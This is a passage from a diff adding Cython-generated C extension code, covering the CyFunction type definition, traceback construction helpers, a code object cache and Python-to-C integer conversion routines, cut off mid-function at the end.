0, +#ifdef Py_TPFLAGS_METHOD_DESCRIPTOR + Py_TPFLAGS_METHOD_DESCRIPTOR | +#endif +#if defined(_Py_TPFLAGS_HAVE_VECTORCALL) && CYTHON_METH_FASTCALL + _Py_TPFLAGS_HAVE_VECTORCALL | +#endif + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_BASETYPE, + 0, + (traverseproc) __Pyx_CyFunction_traverse, + (inquiry) __Pyx_CyFunction_clear, + 0, +#if PY_VERSION_HEX < 0x030500A0 + offsetof(__pyx_CyFunctionObject, func_weakreflist), +#else + offsetof(PyCFunctionObject, m_weakreflist), +#endif + 0, + 0, + __pyx_CyFunction_methods, + __pyx_CyFunction_members, + __pyx_CyFunction_getsets, + 0, + 0, + __Pyx_PyMethod_New, + 0, + offsetof(__pyx_CyFunctionObject, func_dict), + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if PY_VERSION_HEX >= 0x030400a1 + 0, +#endif +#if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, +#endif +#if __PYX_NEED_TP_PRINT_SLOT + 0, +#endif +#if PY_VERSION_HEX >= 0x030C0000 + 0, +#endif +#if PY_VERSION_HEX >= 0x030d00A4 + 0, +#endif +#if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, +#endif +}; +#endif +static int __pyx_CyFunction_init(PyObject *module) { +#if CYTHON_USE_TYPE_SPECS + __pyx_CyFunctionType = __Pyx_FetchCommonTypeFromSpec(module, &__pyx_CyFunctionType_spec, NULL); +#else + CYTHON_UNUSED_VAR(module); + __pyx_CyFunctionType = __Pyx_FetchCommonType(&__pyx_CyFunctionType_type); +#endif + if (unlikely(__pyx_CyFunctionType == NULL)) { + return -1; + } + return 0; +} +static CYTHON_INLINE void *__Pyx_CyFunction_InitDefaults(PyObject *func, size_t size, int pyobjects) { + __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; + m->defaults = PyObject_Malloc(size); + if (unlikely(!m->defaults)) + return PyErr_NoMemory(); + memset(m->defaults, 0, size); + m->defaults_pyobjects = pyobjects; + m->defaults_size = size; + return m->defaults; +} +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsTuple(PyObject *func, PyObject *tuple) { + __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; + m->defaults_tuple = tuple; + Py_INCREF(tuple); +} +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsKwDict(PyObject *func, PyObject *dict) { + __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; + m->defaults_kwdict = dict; + Py_INCREF(dict); +} +static CYTHON_INLINE void __Pyx_CyFunction_SetAnnotationsDict(PyObject *func, PyObject *dict) { + __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; + m->func_annotations = dict; + Py_INCREF(dict); +} + +/* CythonFunction */ + static PyObject *__Pyx_CyFunction_New(PyMethodDef *ml, int flags, PyObject* qualname, + PyObject *closure, PyObject *module, PyObject* globals, PyObject* code) { + PyObject *op = __Pyx_CyFunction_Init( + PyObject_GC_New(__pyx_CyFunctionObject, __pyx_CyFunctionType), + ml, flags, qualname, closure, module, globals, code + ); + if (likely(op)) { + PyObject_GC_Track(op); + } + return op; +} + +/* CLineInTraceback */ + #ifndef CYTHON_CLINE_IN_TRACEBACK +static int __Pyx_CLineForTraceback(PyThreadState *tstate, int c_line) { + PyObject *use_cline; + PyObject *ptype, *pvalue, *ptraceback; +#if CYTHON_COMPILING_IN_CPYTHON + PyObject **cython_runtime_dict; +#endif + CYTHON_MAYBE_UNUSED_VAR(tstate); + if (unlikely(!__pyx_cython_runtime)) { + return c_line; + } + __Pyx_ErrFetchInState(tstate, &ptype, &pvalue, &ptraceback); +#if CYTHON_COMPILING_IN_CPYTHON + cython_runtime_dict = _PyObject_GetDictPtr(__pyx_cython_runtime); + if (likely(cython_runtime_dict)) { + __PYX_PY_DICT_LOOKUP_IF_MODIFIED( + use_cline, *cython_runtime_dict, + __Pyx_PyDict_GetItemStr(*cython_runtime_dict, __pyx_n_s_cline_in_traceback)) + } else +#endif + { + PyObject *use_cline_obj = __Pyx_PyObject_GetAttrStrNoError(__pyx_cython_runtime, __pyx_n_s_cline_in_traceback); + if (use_cline_obj) { + use_cline = PyObject_Not(use_cline_obj) ? Py_False : Py_True; + Py_DECREF(use_cline_obj); + } else { + PyErr_Clear(); + use_cline = NULL; + } + } + if (!use_cline) { + c_line = 0; + (void) PyObject_SetAttr(__pyx_cython_runtime, __pyx_n_s_cline_in_traceback, Py_False); + } + else if (use_cline == Py_False || (use_cline != Py_True && PyObject_Not(use_cline) != 0)) { + c_line = 0; + } + __Pyx_ErrRestoreInState(tstate, ptype, pvalue, ptraceback); + return c_line; +} +#endif + +/* CodeObjectCache */ + #if !CYTHON_COMPILING_IN_LIMITED_API +static int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line) { + int start = 0, mid = 0, end = count - 1; + if (end >= 0 && code_line > entries[end].code_line) { + return count; + } + while (start < end) { + mid = start + (end - start) / 2; + if (code_line < entries[mid].code_line) { + end = mid; + } else if (code_line > entries[mid].code_line) { + start = mid + 1; + } else { + return mid; + } + } + if (code_line <= entries[mid].code_line) { + return mid; + } else { + return mid + 1; + } +} +static PyCodeObject *__pyx_find_code_object(int code_line) { + PyCodeObject* code_object; + int pos; + if (unlikely(!code_line) || unlikely(!__pyx_code_cache.entries)) { + return NULL; + } + pos = __pyx_bisect_code_objects(__pyx_code_cache.entries, __pyx_code_cache.count, code_line); + if (unlikely(pos >= __pyx_code_cache.count) || unlikely(__pyx_code_cache.entries[pos].code_line != code_line)) { + return NULL; + } + code_object = __pyx_code_cache.entries[pos].code_object; + Py_INCREF(code_object); + return code_object; +} +static void __pyx_insert_code_object(int code_line, PyCodeObject* code_object) { + int pos, i; + __Pyx_CodeObjectCacheEntry* entries = __pyx_code_cache.entries; + if (unlikely(!code_line)) { + return; + } + if (unlikely(!entries)) { + entries = (__Pyx_CodeObjectCacheEntry*)PyMem_Malloc(64*sizeof(__Pyx_CodeObjectCacheEntry)); + if (likely(entries)) { + __pyx_code_cache.entries = entries; + __pyx_code_cache.max_count = 64; + __pyx_code_cache.count = 1; + entries[0].code_line = code_line; + entries[0].code_object = code_object; + Py_INCREF(code_object); + } + return; + } + pos = __pyx_bisect_code_objects(__pyx_code_cache.entries, __pyx_code_cache.count, code_line); + if ((pos < __pyx_code_cache.count) && unlikely(__pyx_code_cache.entries[pos].code_line == code_line)) { + PyCodeObject* tmp = entries[pos].code_object; + entries[pos].code_object = code_object; + Py_DECREF(tmp); + return; + } + if (__pyx_code_cache.count == __pyx_code_cache.max_count) { + int new_max = __pyx_code_cache.max_count + 64; + entries = (__Pyx_CodeObjectCacheEntry*)PyMem_Realloc( + __pyx_code_cache.entries, ((size_t)new_max) * sizeof(__Pyx_CodeObjectCacheEntry)); + if (unlikely(!entries)) { + return; + } + __pyx_code_cache.entries = entries; + __pyx_code_cache.max_count = new_max; + } + for (i=__pyx_code_cache.count; i>pos; i--) { + entries[i] = entries[i-1]; + } + entries[pos].code_line = code_line; + entries[pos].code_object = code_object; + __pyx_code_cache.count++; + Py_INCREF(code_object); +} +#endif + +/* AddTraceback */ + #include "compile.h" +#include "frameobject.h" +#include "traceback.h" +#if PY_VERSION_HEX >= 0x030b00a6 && !CYTHON_COMPILING_IN_LIMITED_API + #ifndef Py_BUILD_CORE + #define Py_BUILD_CORE 1 + #endif + #include "internal/pycore_frame.h" +#endif +#if CYTHON_COMPILING_IN_LIMITED_API +static PyObject *__Pyx_PyCode_Replace_For_AddTraceback(PyObject *code, PyObject *scratch_dict, + PyObject *firstlineno, PyObject *name) { + PyObject *replace = NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, "co_firstlineno", firstlineno))) return NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, "co_name", name))) return NULL; + replace = PyObject_GetAttrString(code, "replace"); + if (likely(replace)) { + PyObject *result; + result = PyObject_Call(replace, __pyx_empty_tuple, scratch_dict); + Py_DECREF(replace); + return result; + } + PyErr_Clear(); + #if __PYX_LIMITED_VERSION_HEX < 0x030780000 + { + PyObject *compiled = NULL, *result = NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, "code", code))) return NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, "type", (PyObject*)(&PyType_Type)))) return NULL; + compiled = Py_CompileString( + "out = type(code)(\n" + " code.co_argcount, code.co_kwonlyargcount, code.co_nlocals, code.co_stacksize,\n" + " code.co_flags, code.co_code, code.co_consts, code.co_names,\n" + " code.co_varnames, code.co_filename, co_name, co_firstlineno,\n" + " code.co_lnotab)\n", "", Py_file_input); + if (!compiled) return NULL; + result = PyEval_EvalCode(compiled, scratch_dict, scratch_dict); + Py_DECREF(compiled); + if (!result) PyErr_Print(); + Py_DECREF(result); + result = PyDict_GetItemString(scratch_dict, "out"); + if (result) Py_INCREF(result); + return result; + } + #else + return NULL; + #endif +} +static void __Pyx_AddTraceback(const char *funcname, int c_line, + int py_line, const char *filename) { + PyObject *code_object = NULL, *py_py_line = NULL, *py_funcname = NULL, *dict = NULL; + PyObject *replace = NULL, *getframe = NULL, *frame = NULL; + PyObject *exc_type, *exc_value, *exc_traceback; + int success = 0; + if (c_line) { + (void) __pyx_cfilenm; + (void) __Pyx_CLineForTraceback(__Pyx_PyThreadState_Current, c_line); + } + PyErr_Fetch(&exc_type, &exc_value, &exc_traceback); + code_object = Py_CompileString("_getframe()", filename, Py_eval_input); + if (unlikely(!code_object)) goto bad; + py_py_line = PyLong_FromLong(py_line); + if (unlikely(!py_py_line)) goto bad; + py_funcname = PyUnicode_FromString(funcname); + if (unlikely(!py_funcname)) goto bad; + dict = PyDict_New(); + if (unlikely(!dict)) goto bad; + { + PyObject *old_code_object = code_object; + code_object = __Pyx_PyCode_Replace_For_AddTraceback(code_object, dict, py_py_line, py_funcname); + Py_DECREF(old_code_object); + } + if (unlikely(!code_object)) goto bad; + getframe = PySys_GetObject("_getframe"); + if (unlikely(!getframe)) goto bad; + if (unlikely(PyDict_SetItemString(dict, "_getframe", getframe))) goto bad; + frame = PyEval_EvalCode(code_object, dict, dict); + if (unlikely(!frame) || frame == Py_None) goto bad; + success = 1; + bad: + PyErr_Restore(exc_type, exc_value, exc_traceback); + Py_XDECREF(code_object); + Py_XDECREF(py_py_line); + Py_XDECREF(py_funcname); + Py_XDECREF(dict); + Py_XDECREF(replace); + if (success) { + PyTraceBack_Here( + (struct _frame*)frame); + } + Py_XDECREF(frame); +} +#else +static PyCodeObject* __Pyx_CreateCodeObjectForTraceback( + const char *funcname, int c_line, + int py_line, const char *filename) { + PyCodeObject *py_code = NULL; + PyObject *py_funcname = NULL; + #if PY_MAJOR_VERSION < 3 + PyObject *py_srcfile = NULL; + py_srcfile = PyString_FromString(filename); + if (!py_srcfile) goto bad; + #endif + if (c_line) { + #if PY_MAJOR_VERSION < 3 + py_funcname = PyString_FromFormat( "%s (%s:%d)", funcname, __pyx_cfilenm, c_line); + if (!py_funcname) goto bad; + #else + py_funcname = PyUnicode_FromFormat( "%s (%s:%d)", funcname, __pyx_cfilenm, c_line); + if (!py_funcname) goto bad; + funcname = PyUnicode_AsUTF8(py_funcname); + if (!funcname) goto bad; + #endif + } + else { + #if PY_MAJOR_VERSION < 3 + py_funcname = PyString_FromString(funcname); + if (!py_funcname) goto bad; + #endif + } + #if PY_MAJOR_VERSION < 3 + py_code = __Pyx_PyCode_New( + 0, + 0, + 0, + 0, + 0, + 0, + __pyx_empty_bytes, /*PyObject *code,*/ + __pyx_empty_tuple, /*PyObject *consts,*/ + __pyx_empty_tuple, /*PyObject *names,*/ + __pyx_empty_tuple, /*PyObject *varnames,*/ + __pyx_empty_tuple, /*PyObject *freevars,*/ + __pyx_empty_tuple, /*PyObject *cellvars,*/ + py_srcfile, /*PyObject *filename,*/ + py_funcname, /*PyObject *name,*/ + py_line, + __pyx_empty_bytes /*PyObject *lnotab*/ + ); + Py_DECREF(py_srcfile); + #else + py_code = PyCode_NewEmpty(filename, funcname, py_line); + #endif + Py_XDECREF(py_funcname); + return py_code; +bad: + Py_XDECREF(py_funcname); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(py_srcfile); + #endif + return NULL; +} +static void __Pyx_AddTraceback(const char *funcname, int c_line, + int py_line, const char *filename) { + PyCodeObject *py_code = 0; + PyFrameObject *py_frame = 0; + PyThreadState *tstate = __Pyx_PyThreadState_Current; + PyObject *ptype, *pvalue, *ptraceback; + if (c_line) { + c_line = __Pyx_CLineForTraceback(tstate, c_line); + } + py_code = __pyx_find_code_object(c_line ? -c_line : py_line); + if (!py_code) { + __Pyx_ErrFetchInState(tstate, &ptype, &pvalue, &ptraceback); + py_code = __Pyx_CreateCodeObjectForTraceback( + funcname, c_line, py_line, filename); + if (!py_code) { + /* If the code object creation fails, then we should clear the + fetched exception references and propagate the new exception */ + Py_XDECREF(ptype); + Py_XDECREF(pvalue); + Py_XDECREF(ptraceback); + goto bad; + } + __Pyx_ErrRestoreInState(tstate, ptype, pvalue, ptraceback); + __pyx_insert_code_object(c_line ? -c_line : py_line, py_code); + } + py_frame = PyFrame_New( + tstate, /*PyThreadState *tstate,*/ + py_code, /*PyCodeObject *code,*/ + __pyx_d, /*PyObject *globals,*/ + 0 /*PyObject *locals*/ + ); + if (!py_frame) goto bad; + __Pyx_PyFrame_SetLineNumber(py_frame, py_line); + PyTraceBack_Here(py_frame); +bad: + Py_XDECREF(py_code); + Py_XDECREF(py_frame); +} +#endif + +/* CIntToPy */ + static CYTHON_INLINE PyObject* __Pyx_PyInt_From_long(long value) { +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wconversion" +#endif + const long neg_one = (long) -1, const_zero = (long) 0; +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic pop +#endif + const int is_unsigned = neg_one > const_zero; + if (is_unsigned) { + if (sizeof(long) < sizeof(long)) { + return PyInt_FromLong((long) value); + } else if (sizeof(long) <= sizeof(unsigned long)) { + return PyLong_FromUnsignedLong((unsigned long) value); +#ifdef HAVE_LONG_LONG + } else if (sizeof(long) <= sizeof(unsigned PY_LONG_LONG)) { + return PyLong_FromUnsignedLongLong((unsigned PY_LONG_LONG) value); +#endif + } + } else { + if (sizeof(long) <= sizeof(long)) { + return PyInt_FromLong((long) value); +#ifdef HAVE_LONG_LONG + } else if (sizeof(long) <= sizeof(PY_LONG_LONG)) { + return PyLong_FromLongLong((PY_LONG_LONG) value); +#endif + } + } + { + unsigned char *bytes = (unsigned char *)&value; +#if !CYTHON_COMPILING_IN_LIMITED_API && PY_VERSION_HEX >= 0x030d00A4 + if (is_unsigned) { + return PyLong_FromUnsignedNativeBytes(bytes, sizeof(value), -1); + } else { + return PyLong_FromNativeBytes(bytes, sizeof(value), -1); + } +#elif !CYTHON_COMPILING_IN_LIMITED_API && PY_VERSION_HEX < 0x030d0000 + int one = 1; int little = (int)*(unsigned char *)&one; + return _PyLong_FromByteArray(bytes, sizeof(long), + little, !is_unsigned); +#else + int one = 1; int little = (int)*(unsigned char *)&one; + PyObject *from_bytes, *result = NULL; + PyObject *py_bytes = NULL, *arg_tuple = NULL, *kwds = NULL, *order_str = NULL; + from_bytes = PyObject_GetAttrString((PyObject*)&PyLong_Type, "from_bytes"); + if (!from_bytes) return NULL; + py_bytes = PyBytes_FromStringAndSize((char*)bytes, sizeof(long)); + if (!py_bytes) goto limited_bad; + order_str = PyUnicode_FromString(little ? "little" : "big"); + if (!order_str) goto limited_bad; + arg_tuple = PyTuple_Pack(2, py_bytes, order_str); + if (!arg_tuple) goto limited_bad; + if (!is_unsigned) { + kwds = PyDict_New(); + if (!kwds) goto limited_bad; + if (PyDict_SetItemString(kwds, "signed", __Pyx_NewRef(Py_True))) goto limited_bad; + } + result = PyObject_Call(from_bytes, arg_tuple, kwds); + limited_bad: + Py_XDECREF(kwds); + Py_XDECREF(arg_tuple); + Py_XDECREF(order_str); + Py_XDECREF(py_bytes); + Py_XDECREF(from_bytes); + return result; +#endif + } +} + +/* FormatTypeName */ + #if CYTHON_COMPILING_IN_LIMITED_API +static __Pyx_TypeName +__Pyx_PyType_GetName(PyTypeObject* tp) +{ + PyObject *name = __Pyx_PyObject_GetAttrStr((PyObject *)tp, + __pyx_n_s_name); + if (unlikely(name == NULL) || unlikely(!PyUnicode_Check(name))) { + PyErr_Clear(); + Py_XDECREF(name); + name = __Pyx_NewRef(__pyx_n_s__38); + } + return name; +} +#endif + +/* CIntFromPyVerify */ + #define __PYX_VERIFY_RETURN_INT(target_type, func_type, func_value)\ + __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, 0) +#define __PYX_VERIFY_RETURN_INT_EXC(target_type, func_type, func_value)\ + __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, 1) +#define __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, exc)\ + {\ + func_type value = func_value;\ + if (sizeof(target_type) < sizeof(func_type)) {\ + if (unlikely(value != (func_type) (target_type) value)) {\ + func_type zero = 0;\ + if (exc && unlikely(value == (func_type)-1 && PyErr_Occurred()))\ + return (target_type) -1;\ + if (is_unsigned && unlikely(value < zero))\ + goto raise_neg_overflow;\ + else\ + goto raise_overflow;\ + }\ + }\ + return (target_type) value;\ + } + +/* CIntFromPy */ + static CYTHON_INLINE long __Pyx_PyInt_As_long(PyObject *x) { +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wconversion" +#endif + const long neg_one = (long) -1, const_zero = (long) 0; +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic pop +#endif + const int is_unsigned = neg_one > const_zero; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_Check(x))) { + if ((sizeof(long) < sizeof(long))) { + __PYX_VERIFY_RETURN_INT(long, long, PyInt_AS_LONG(x)) + } else { + long val = PyInt_AS_LONG(x); + if (is_unsigned && unlikely(val < 0)) { + goto raise_neg_overflow; + } + return (long) val; + } + } +#endif + if (unlikely(!PyLong_Check(x))) { + long val; + PyObject *tmp = __Pyx_PyNumber_IntOrLong(x); + if (!tmp) return (long) -1; + val = __Pyx_PyInt_As_long(tmp); + Py_DECREF(tmp); + return val; + } + if (is_unsigned) { +#if CYTHON_USE_PYLONG_INTERNALS + if (unlikely(__Pyx_PyLong_IsNeg(x))) { + goto raise_neg_overflow; + } else if (__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(long, __Pyx_compact_upylong, __Pyx_PyLong_CompactValueUnsigned(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_DigitCount(x)) { + case 2: + if ((8 * sizeof(long) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) >= 2 * PyLong_SHIFT)) { + return (long) (((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); + } + } + break; + case 3: + if ((8 * sizeof(long) > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) >= 3 * PyLong_SHIFT)) { + return (long) (((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); + } + } + break; + case 4: + if ((8 * sizeof(long) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) >= 4 * PyLong_SHIFT)) { + return (long) (((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); + } + } + break; + } + } +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030C00A7 + if (unlikely(Py_SIZE(x) < 0)) { + goto raise_neg_overflow; + } +#else + { + int result = PyObject_RichCompareBool(x, Py_False, Py_LT); + if (unlikely(result < 0)) + return (long) -1; + if (unlikely(result == 1)) + goto raise_neg_overflow; + } +#endif + if ((sizeof(long) <= sizeof(unsigned long))) { + __PYX_VERIFY_RETURN_INT_EXC(long, unsigned long, PyLong_AsUnsignedLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(long) <= sizeof(unsigned PY_LONG_LONG))) { + __PYX_VERIFY_RETURN_INT_EXC(long, unsigned PY_LONG_LONG, PyLong_AsUnsignedLongLong(x)) +#endif + } + } else { +#if CYTHON_USE_PYLONG_INTERNALS + if (__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(long, __Pyx_compact_pylong, __Pyx_PyLong_CompactValue(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_SignedDigitCount(x)) { + case -2: + if ((8 * sizeof(long) - 1 > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 2 * PyLong_SHIFT)) { + return (long) (((long)-1)*(((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case 2: + if ((8 * sizeof(long) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 2 * PyLong_SHIFT)) { + return (long) ((((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case -3: + if ((8 * sizeof(long) - 1 > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 3 * PyLong_SHIFT)) { + return (long) (((long)-1)*(((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case 3: + if ((8 * sizeof(long) > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 3 * PyLong_SHIFT)) { + return (long) ((((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case -4: + if ((8 * sizeof(long) - 1 > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 4 * PyLong_SHIFT)) { + return (long) (((long)-1)*(((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case 4: + if ((8 * sizeof(long) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 4 * PyLong_SHIFT)) { + return (long) ((((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + } + } +#endif + if ((sizeof(long) <= sizeof(long))) { + __PYX_VERIFY_RETURN_INT_EXC(long, long, PyLong_AsLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(long) <= sizeof(PY_LONG_LONG))) { + __PYX_VERIFY_RETURN_INT_EXC(long, PY_LONG_LONG, PyLong_AsLongLong(x)) +#endif + } + } + { + long val; + int ret = -1; +#if PY_VERSION_HEX >= 0x030d00A6 && !CYTHON_COMPILING_IN_LIMITED_API + Py_ssize_t bytes_copied = PyLong_AsNativeBytes( + x, &val, sizeof(val), Py_ASNATIVEBYTES_NATIVE_ENDIAN | (is_unsigned ? Py_ASNATIVEBYTES_UNSIGNED_BUFFER | Py_ASNATIVEBYTES_REJECT_NEGATIVE : 0)); + if (unlikely(bytes_copied == -1)) { + } else if (unlikely(bytes_copied > (Py_ssize_t) sizeof(val))) { + goto raise_overflow; + } else { + ret = 0; + } +#elif PY_VERSION_HEX < 0x030d0000 && !(CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API) || defined(_PyLong_AsByteArray) + int one = 1; int is_little = (int)*(unsigned char *)&one; + unsigned char *bytes = (unsigned char *)&val; + ret = _PyLong_AsByteArray((PyLongObject *)x, + bytes, sizeof(val), + is_little, !is_unsigned); +#else + PyObject *v; + PyObject *stepval = NULL, *mask = NULL, *shift = NULL; + int bits, remaining_bits, is_negative = 0; + int chunk_size = (sizeof(long) < 8) ? 30 : 62; + if (likely(PyLong_CheckExact(x))) { + v = __Pyx_NewRef(x); + } else { + v = PyNumber_Long(x); + if (unlikely(!v)) return (long) -1; + assert(PyLong_CheckExact(v)); + } + { + int result = PyObject_RichCompareBool(v, Py_False, Py_LT); + if (unlikely(result < 0)) { + Py_DECREF(v); + return (long) -1; + } + is_negative = result == 1; + } + if (is_unsigned && unlikely(is_negative)) { + Py_DECREF(v); + goto raise_neg_overflow; + } else if (is_negative) { + stepval = PyNumber_Invert(v); + Py_DECREF(v); + if (unlikely(!stepval)) + return (long) -1; + } else { + stepval = v; + } + v = NULL; + val = (long) 0; + mask = PyLong_FromLong((1L << chunk_size) - 1); if (unlikely(!mask)) goto done; + shift = PyLong_FromLong(chunk_size); if (unlikely(!shift)) goto done; + for (bits = 0; bits < (int) sizeof(long) * 8 - chunk_size; bits += chunk_size) { + PyObject *tmp, *digit; + long idigit; + digit = PyNumber_And(stepval, mask); + if (unlikely(!digit)) goto done; + idigit = PyLong_AsLong(digit); + Py_DECREF(digit); + if (unlikely(idigit < 0)) goto done; + val |= ((long) idigit) << bits; + tmp = PyNumber_Rshift(stepval, shift); + if (unlikely(!tmp)) goto done; + Py_DECREF(stepval); stepval = tmp; + } + Py_DECREF(shift); shift = NULL; + Py_DECREF(mask); mask = NULL; + { + long idigit = PyLong_AsLong(stepval); + if (unlikely(idigit < 0)) goto done; + remaining_bits = ((int) sizeof(long) * 8) - bits - (is_unsigned ? 0 : 1); + if (unlikely(idigit >= (1L << remaining_bits))) + goto raise_overflow; + val |= ((long) idigit) << bits; + } + if (!is_unsigned) { + if (unlikely(val & (((long) 1) << (sizeof(long) * 8 - 1)))) + goto raise_overflow; + if (is_negative) + val = ~val; + } + ret = 0; + done: + Py_XDECREF(shift); + Py_XDECREF(mask); + Py_XDECREF(stepval); +#endif + if (unlikely(ret)) + return (long) -1; + return val; + } +raise_overflow: + PyErr_SetString(PyExc_OverflowError, + "value too large to convert to long"); + return (long) -1; +raise_neg_overflow: + PyErr_SetString(PyExc_OverflowError, + "can't convert negative value to long"); + return (long) -1; +} + +/* CIntFromPy */ + static CYTHON_INLINE int __Pyx_PyInt_As_int(PyObject *x) { +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wconversion" +#endif + const int neg_one = (int) -1, const_zero = (int) 0; +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic pop +#endif + const int is_unsigned = neg_one > const_zero; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_Check(x))) { + if ((sizeof(int) < sizeof(long))) { + __PYX_VERIFY_RETURN_INT(int, long, PyInt_AS_LONG(x)) + } else { + long val = PyInt_AS_LONG(x); + if (is_unsigned && unlikely(val < 0)) { + goto raise_neg_overflow; + } + return (int) val; + } + } +#endif + if (unlikely(!PyLong_Check(x))) { + int val; + PyObject *tmp = __Pyx_PyNumber_IntOrLong(x); + if (!tmp) return (int) -1; + val = __Pyx_PyInt_As_int(tmp); + Py_DECREF(tmp); + 